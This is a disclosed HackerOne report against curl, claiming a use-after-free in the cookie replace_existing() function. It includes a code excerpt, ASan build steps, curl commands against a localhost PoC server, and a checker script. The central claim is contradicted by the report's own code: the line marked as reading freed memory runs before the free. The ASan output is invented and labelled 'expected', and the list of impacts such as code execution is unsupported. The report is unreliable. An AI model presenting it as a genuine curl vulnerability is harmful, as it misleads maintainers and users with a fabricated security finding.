HexBrain

curl · Report #3516202

Cookie Replacement Use-After-Free Vulnerability

N/Astatus
21upvotes
19 Jan 2026disclosed

How it was found

Summary:

The cookie replacement logic in lib/cookie.c contains a use-after-free vulnerability in the replace_existing() function. The function modifies a linked list while iterating over it, creating potential for memory corruption in concurrent or complex cookie operations.

Vulnerable Code Location: lib/cookie.c:822-925

static bool replace_existing(struct Curl_easy *data,
                             struct Cookie *co,
                             struct CookieInfo *ci,
                             bool secure,
                             bool *replacep)
{
    bool replace_old = FALSE;
    struct Curl_llist_node *replace_n = NULL;
    struct Curl_llist_node *n;
    
    // Iterate over cookie list
    for(n = Curl_llist_head(&ci->cookielist[myhash]); n; n = Curl_node_next(n)) {
        struct Cookie *clist = Curl_node_elem(n);
        // ... comparison logic ...
        if(replace_old)
            replace_n = n;  // Store node for later deletion
    }
    
    // Delete node after iteration
    if(replace_n) {
        struct Cookie *repl = Curl_node_elem(replace_n);
        co->creationtime = repl->creationtime;  // Access freed memory
        Curl_node_remove(replace_n);
        freecookie(repl, TRUE);  // Free memory
    }
}

Affected version

curl 7.x - 8.x

Steps To Reproduce:

PoC Server

A race condition server has been developed to trigger the vulnerability:

File: poc_cookie_uaf.py

# Run the PoC server
python3 poc_cookie_uaf.py

# Server starts on http://localhost:8000
# Provides 3 different exploit scenarios

Testing with AddressSanitizer

CRITICAL: This vulnerability requires AddressSanitizer to detect reliably.

Build curl with ASan

cd curl
export CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g"
export LDFLAGS="-fsanitize=address"
./buildconf
./configure --enable-debug --disable-shared
make clean
make

Test 1: Rapid Cookie Replacement

# Single request with 50 cookies
./src/curl -c cookies.txt http://localhost:8000/exploit1

# Check for ASan errors
# Look for: "heap-use-after-free"

Expected ASan Output (if vulnerable):

==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000001234
READ of size 8 at 0x602000001234 thread T0
    #0 0x... in replace_existing lib/cookie.c:915
    #1 0x... in Curl_cookie_add lib/cookie.c:1234
    #2 0x... in Curl_http_input_auth lib/http.c:567

Test 2: Concurrent Requests

# Trigger race conditions with concurrent requests
for i in {1..20}; do
    ./src/curl -c cookies_$i.txt http://localhost:8000/exploit2 &
done
wait

# Check for crashes or ASan errors

Test 3: Complex Replacement Patterns

# Test edge cases
./src/curl -c cookies.txt http://localhost:8000/exploit3

# Run multiple times to trigger race
for i in {1..100}; do
    ./src/curl -c cookies_test_$i.txt http://localhost:8000/exploit3
done

Verification Script

#!/usr/bin/env python3
# verify_uaf.py - Check for use-after-free indicators

import subprocess
import sys

def run_test(url):
    """Run curl and check for ASan errors"""
    result = subprocess.run(
        ['./src/curl', '-c', 'test.txt', url],
        capture_output=True,
        text=True
    )
    
    # Check for ASan errors
    if 'heap-use-after-free' in result.stderr:
        print(f"[VULN] Use-after-free detected: {url}")
        print(result.stderr)
        return True
    elif 'double-free' in result.stderr:
        print(f"[VULN] Double-free detected: {url}")
        print(result.stderr)
        return True
    elif result.returncode != 0:
        print(f"[CRASH] curl crashed: {url}")
        return True
    
    return False

# Test all exploits
exploits = [
    'http://localhost:8000/exploit1',
    'http://localhost:8000/exploit2',
    'http://localhost:8000/exploit3',
]

vulnerable = False
for exploit in exploits:
    if run_test(exploit):
        vulnerable = True

if vulnerable:
    print("\\n[RESULT] Vulnerability confirmed!")
    sys.exit(1)
else:
    print("\\n[RESULT] No vulnerability detected (or patched)")
    sys.exit(0)

Supporting Material/References:

Attachments

  1. poc_cookie_uaf.py - Proof of concept race condition server
  2. fix_cookie_uaf.patch - Security patch

Impact

Summary:

  • Heap corruption from use-after-free
  • Potential for arbitrary code execution
  • Information disclosure through freed memory
  • Crashes from accessing freed memory
  • Segmentation faults in cookie handling
  • Application instability
  • Freed cookie data may contain sensitive information
  • Session tokens, authentication data exposed
  • Memory layout information leaked
  • If attacker can control freed memory contents
  • Heap spraying techniques applicable
  • Function pointer corruption possible

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original